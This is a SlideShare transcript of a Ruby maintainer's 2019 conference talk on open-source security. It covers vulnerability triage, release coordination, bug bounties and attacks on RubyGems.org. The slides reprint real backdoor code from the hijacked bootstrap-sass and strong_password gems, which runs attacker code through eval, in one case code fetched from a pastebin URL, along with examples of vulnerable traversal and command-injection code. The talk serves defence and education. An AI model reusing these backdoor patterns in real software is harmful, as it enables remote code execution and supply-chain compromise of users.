SlideShare a Scribd company logo
Hiroshi SHIBATA / GMO Pepabo, Inc.
2019.08.31 builderscon 2019
OSS Security
The hard way
self.introduce
Executive Officer VP of Engineering
Technical Director
at GMO Pepabo, Inc. @pepabo
Hiroshi SHIBATA @hsbt
https://www.hsbt.org
No.7
No.1
No.5
• How to release Ruby?
• What’s vulnerability?
• Workflow for security release
• Bog bounty
• Gemification
• RubyGems.org
Agenda
How to release Ruby?
1.
Release cycle for the new version
We plan to release every Christmas day.
• 2.1.0: 2013/12/25
• 2.2.0: 2014/12/25
• 2.3.0: 2015/12/25
• 2.4.0: 2016/12/25
• 2.5.0: 2017/12/25
• 2.6.0: 2018/12/25
• 2.7.0: 2019/12/25(TBD)
• 3.0.0: 2020/12/25(TBD)
We will release the new stable version each 3
months.
Release cycle for the stable version
git.ruby-lang.org
OSS Security the hard way
We adopt to use “Merge
button” on GitHub
We have a many of
contributors
What’s vulnerability?
2.
• Code for Work
• We should handle it for our job and organization.
• There is social responsibility.
• Code for Hobby = OSS
• There is only social responsibility. [IMO]
Responsibility for Security
• Consider Attack Surface and Attack Vector
• Can attack by anonymous?
Triage policy for vulnerability
Attack Surface
Software/System
Attack Surface
Attack Vector
Attack Vector
Attack Vector
Attacker
• How effect to CIA
• Confidentiality
• Integrity
• Availability
• The decision of other language and libraries
• We always refer Python and Go and others
Triage policy for vulnerability
• Accepted case
• Rejected case
• Complex case
The examples of typical workflow
• Directory Traversal
• OS command injection
• Vulnerability of bundled code like libffi or libyaml.
• Elevation of Privilege
Accepted Case
Tempfile.create("/../../home/vagrant/blue") {|f| p f.path}
if localfile
f = open(localfile, “w")
# Vulnerable code here. open("| os command","w")
elsif !block_given?
result = String.new
end
• DirectoryIndex
• SSL & Certification
• Expected eval case
Rejected Case
• The potential vulnerability discovered by ASAN
• SEGV
Complex case
Workflow for security
release
3.
What’s differences?
The slide made by @hiboma
What’s differences?
The slide made by @hiboma
一緒にもっと面白くしませんか?
最新の採用情報をチェック→ @pb_recruit
新卒採用ページをチェック→ https://recruit.pepabo.com/info/graduate/
1.Receive report
2.Triage
3.Code
4.Coordinate
5.Release
6.Disclose
Workflow
• Mail (security@ruby-lang.org) or HackerOne
Receive report
https://hackerone.com/ruby
• What’s vulnerable?
• Description
• PoC
• Impact
Triage
• Resolve the vulnerability with private
• Discuss with the original reporter
• Avoid the another vulnerability
Code
• Distribution maintener, Service Provider
• Other implementation like JRuby, TruffleRuby
• Release date
• We ignore to release at Friday and weekend
• Assign CVE
• Announcement
• We should write a formal information for
disclosing vulnerability
Coordinate
• “The Identify number for the potential vulnerability
issue”
• That’s all. It’s not impact or authority
What’s CVE
We are working with 3+ people because the
branch maintainers are different people.
Release
• We always coordinate to disclose vulnerability to
the original reporter.
• The reports should coordinate to us too.
Disclose
Unexpected disclosure case
https://nishiohirokazu.hatenadiary.org/entry/20100819/1282200581
Bug Bounty
4.
• We only set the bug bounty on HackerOne, not
mail.
• It’s provided by IBB
What's bug bounty
https://internetbugbounty.org
• $500: Demonstrate the presence of a security bug
with probable remote exploitation potential.
• $1000: Demonstrate that remote exploitation of
this bug is very likely (e.g. good control a
register).
• $1500: Demonstrate that remote exploitation of
this bug can be easily, actively, and reliably
achieved.
Bounty Policy
• The configuration of AWS S3
• The configurations of CDN or PaaS
• The configuration of GitHub
• Copy and Paste Web page and spam report
• Copy and Paste the old CVE report
• …
Noise Problem
• The scam act is harmful for
all of people
• The people become the
offensive for money
• The vulnerability of other
language or library has
been discovered. We got the
many of reports.
Bounty is no silver ballet
Gemification
5.
• We called its “標準添付ライブラリ” in
Japanese.
• It needs to `require` difference from
embedded libraries like String, Thread, etc.
• It can be used without Bundler or
RubyGems
What’s the Standard library?
Classification of standard libraries
Standard
Libraries
Default
Gems
Bundled
Gems
Pure Ruby 44 22 7
C extensions 12 16 0
This matrix shows number of standard
libraries and their classifications in Ruby
2.6.
• The ruby core team can release default
gems to the rubygems.org. You can install
them via RubyGems.
!
• Default gems are openssl, psych, json, etc.
>> Gem.loaded_specs["did_you_mean"].default_gem?
=> false
>> require 'openssl'
=> true
>> Gem.loaded_specs["openssl"].default_gem?
=> true
Inside Default gems
• : Maintainers can release gem for bugfix, new
feature independent with Ruby core.
• : If upstream is available on GitHub, Ruby
users easily send patch via Pull request.
• : Maintainers need to maintain ruby core and
ruby gems both.
• : Abandoned and complex dependency on
rubygems and bundler.
Pros and Cons of Gemification
RubyGems.org
6.
• Account hijack
• rest-client, bootstrap-sass, strong_password
• They are completely malicious case
• Typo squatting
• active-support, bandler, capistrano-colors
• It’s contained the fake gem by the security
researchers
Recent attacks
https://snyk.io/blog/malicious-remote-code-execution-
backdoor-discovered-in-the-popular-bootstrap-sass-ruby-gem/
The code injection with Rack
begin
require 'rack/sendfile'
if Rails.env.production?
Rack::Sendfile.tap do |r|
r.send :alias_method, :c, :call
r.send(:define_method, :call) do |e|
begin
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
eval(x) if x
rescue Exception
end
c(e)
end
end
end
rescue Exception
nil
end
https://snyk.io/blog/ruby-gem-strong_password-found-to-contain-remote-code-execution-code-
in-a-malicious-version-further-strengthening-worries-of-growth-in-supply-chain-attacks/
Case of strong_password
def _!;
begin;
yield;
rescue Exception;
end;
end
_!{
Thread.new {
loop {
_!{
sleep rand * 3333;
eval(
Net::HTTP.get(
URI('https://pastebin.com/raw/xa456PFt')
)
)
}
}
} if Rails.env[0] == "p"
}
• RubyGems have the hooks for `gem install`
• Also have hook for native extension
Code injection for `gem install`
Gem.pre_install do |installer|
puts “All your base are belong to us”
end
Gem.post_install do |installer|
puts “All your base are belong to us”
end
rubygems.org was attacked with pawned
password.
https://news.ycombinator.com/item?id=20745768
Why your account was hijacked?
“My RubyGems.org account was using an
insecure, reused password that has leaked to
the internet in other breaches."
What can we do?
Do not re-use your
password
Use the strong
password
(prefer 22+ chars)
Prepare two factor
authentication
With RubyGems 3
The attacker is not script-kiddy
• “2FA should become mandatory”
• The attackers already got the weak accounts, 2FA
is not prevent to ship malicious gems.
• It can care only in the future.
• “Can we reset the all of credentials?”
Bikeshed for security
• “Notice banner for pawned password"
• “Show the verified badge for 2FA"
• But It also show the weak account.
• “Prepare 2FA mandatory with a popular gems"
• How define “popular”?
• The attacker make the fake download count by
theirselves.
What’s do rubygems.org?
• “Notify the all owners when gem pushed”(done!)
What’s do rubygems.org?(2)
• “Integrate GitHub commits”
• GitHub is not the central in
the world :)
• BitBucket, GitLab, and
your git sever is
vulnerable?
Added Webauthn feature(!!1)
What’s do rubygems.org?(3)
OSS Security the hard way
Wrap-up
Do not re-use
your password
Use the strong password
(prefer 22+ chars)
Prepare two factor
authentication
With RubyGems 3

More Related Content

PDF
The Future of library dependency management of Ruby
PDF
The Future of library dependency manageement of Ruby
PDF
What's new in RubyGems3
PDF
The Future of Bundled Bundler
PDF
Ruby Security the Hard Way
PDF
Gems on Ruby
PDF
The Future of Dependency Management for Ruby
PDF
How to distribute Ruby to the world
The Future of library dependency management of Ruby
The Future of library dependency manageement of Ruby
What's new in RubyGems3
The Future of Bundled Bundler
Ruby Security the Hard Way
Gems on Ruby
The Future of Dependency Management for Ruby
How to distribute Ruby to the world

What's hot (20)

PDF
How to distribute Ruby to the world
PDF
Gemification for Ruby 2.5/3.0
PDF
Roadmap for RubyGems 4 and Bundler 3
PDF
Dependency Resolution with Standard Libraries
PDF
Gems on Ruby
PDF
Middleware as Code with mruby
PDF
How to develop the Standard Libraries of Ruby?
PDF
20140918 ruby kaigi2014
PDF
20140425 ruby conftaiwan2014
PDF
20140419 oedo rubykaigi04
PDF
How to develop Jenkins plugin using to ruby and Jenkins.rb
KEY
tDiary annual report 2009 - Sapporo Ruby Kaigi02
PDF
Gemification for Ruby 2.5/3.0
PDF
An introduction and future of Ruby coverage library
PDF
From 'Legacy' to 'Edge'
PDF
20140626 red dotrubyconf2014
PDF
Ruby in office time reboot
ODP
Developing high-performance network servers in Lisp
PDF
Troubleshooting RabbitMQ and services that use it
PDF
Building GUI App with Electron and Lisp
How to distribute Ruby to the world
Gemification for Ruby 2.5/3.0
Roadmap for RubyGems 4 and Bundler 3
Dependency Resolution with Standard Libraries
Gems on Ruby
Middleware as Code with mruby
How to develop the Standard Libraries of Ruby?
20140918 ruby kaigi2014
20140425 ruby conftaiwan2014
20140419 oedo rubykaigi04
How to develop Jenkins plugin using to ruby and Jenkins.rb
tDiary annual report 2009 - Sapporo Ruby Kaigi02
Gemification for Ruby 2.5/3.0
An introduction and future of Ruby coverage library
From 'Legacy' to 'Edge'
20140626 red dotrubyconf2014
Ruby in office time reboot
Developing high-performance network servers in Lisp
Troubleshooting RabbitMQ and services that use it
Building GUI App with Electron and Lisp
Ad

Similar to OSS Security the hard way (20)

PDF
Introduction of Cybersecurity with OSS at Code Europe 2024
PDF
Introduction of Cybersecurity with Ruby at RedDotRubyConf 2024
PDF
The story of language development
PDF
13 practical tips for writing secure golang applications
PDF
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
PDF
The details of CI/CD environment for Ruby
PDF
How to Begin to Develop Ruby Core
PDF
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
PDF
Migrate to JRuby
PDF
Exploiting null byte vm
PPTX
Exploring Ruby on Rails and PostgreSQL
PPTX
(java2days) The Anatomy of Java Vulnerabilities
PDF
Great Tools Heavily Used In Japan, You Don't Know.
PDF
A Post-Apocalyptic sun.misc.Unsafe World by Christoph engelbert
PDF
RubyStack: the easiest way to deploy Ruby on Rails
PDF
RubyGems 3 & 4
PDF
The secret of programming language development and future
PPT
Rust Programming Language
PDF
Abusing bleeding edge web standards for appsec glory
PDF
Hacking on WildFly 9
Introduction of Cybersecurity with OSS at Code Europe 2024
Introduction of Cybersecurity with Ruby at RedDotRubyConf 2024
The story of language development
13 practical tips for writing secure golang applications
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
The details of CI/CD environment for Ruby
How to Begin to Develop Ruby Core
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
Migrate to JRuby
Exploiting null byte vm
Exploring Ruby on Rails and PostgreSQL
(java2days) The Anatomy of Java Vulnerabilities
Great Tools Heavily Used In Japan, You Don't Know.
A Post-Apocalyptic sun.misc.Unsafe World by Christoph engelbert
RubyStack: the easiest way to deploy Ruby on Rails
RubyGems 3 & 4
The secret of programming language development and future
Rust Programming Language
Abusing bleeding edge web standards for appsec glory
Hacking on WildFly 9
Ad

More from Hiroshi SHIBATA (10)

PDF
Long journey of Ruby Standard library at RubyKaigi 2024
PDF
Long journey of Ruby standard library at RubyConf AU 2024
PDF
Deep dive into Ruby's require - RubyConf Taiwan 2023
PDF
How resolve Gem dependencies in your code?
PDF
How resolve Gem dependencies in your code?
PDF
Ruby コミッターと歩む Ruby を用いたプロダクト開発
PDF
Why ANDPAD commit Ruby and RubyKaigi?
PDF
RailsGirls から始める エンジニアリングはじめの一歩
PDF
Productive Organization with Ruby
PDF
RubyGems 3 & 4
Long journey of Ruby Standard library at RubyKaigi 2024
Long journey of Ruby standard library at RubyConf AU 2024
Deep dive into Ruby's require - RubyConf Taiwan 2023
How resolve Gem dependencies in your code?
How resolve Gem dependencies in your code?
Ruby コミッターと歩む Ruby を用いたプロダクト開発
Why ANDPAD commit Ruby and RubyKaigi?
RailsGirls から始める エンジニアリングはじめの一歩
Productive Organization with Ruby
RubyGems 3 & 4

Recently uploaded (20)

PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
Modernizing your data center with Dell and AMD
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Empathic Computing: Creating Shared Understanding
PDF
Approach and Philosophy of On baking technology
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
KodekX | Application Modernization Development
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
Electronic commerce courselecture one. Pdf
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Review of recent advances in non-invasive hemoglobin estimation
Encapsulation_ Review paper, used for researhc scholars
Diabetes mellitus diagnosis method based random forest with bat algorithm
Dropbox Q2 2025 Financial Results & Investor Presentation
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Modernizing your data center with Dell and AMD
20250228 LYD VKU AI Blended-Learning.pptx
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Empathic Computing: Creating Shared Understanding
Approach and Philosophy of On baking technology
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Building Integrated photovoltaic BIPV_UPV.pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
KodekX | Application Modernization Development
Chapter 3 Spatial Domain Image Processing.pdf
Electronic commerce courselecture one. Pdf
Digital-Transformation-Roadmap-for-Companies.pptx
Review of recent advances in non-invasive hemoglobin estimation

OSS Security the hard way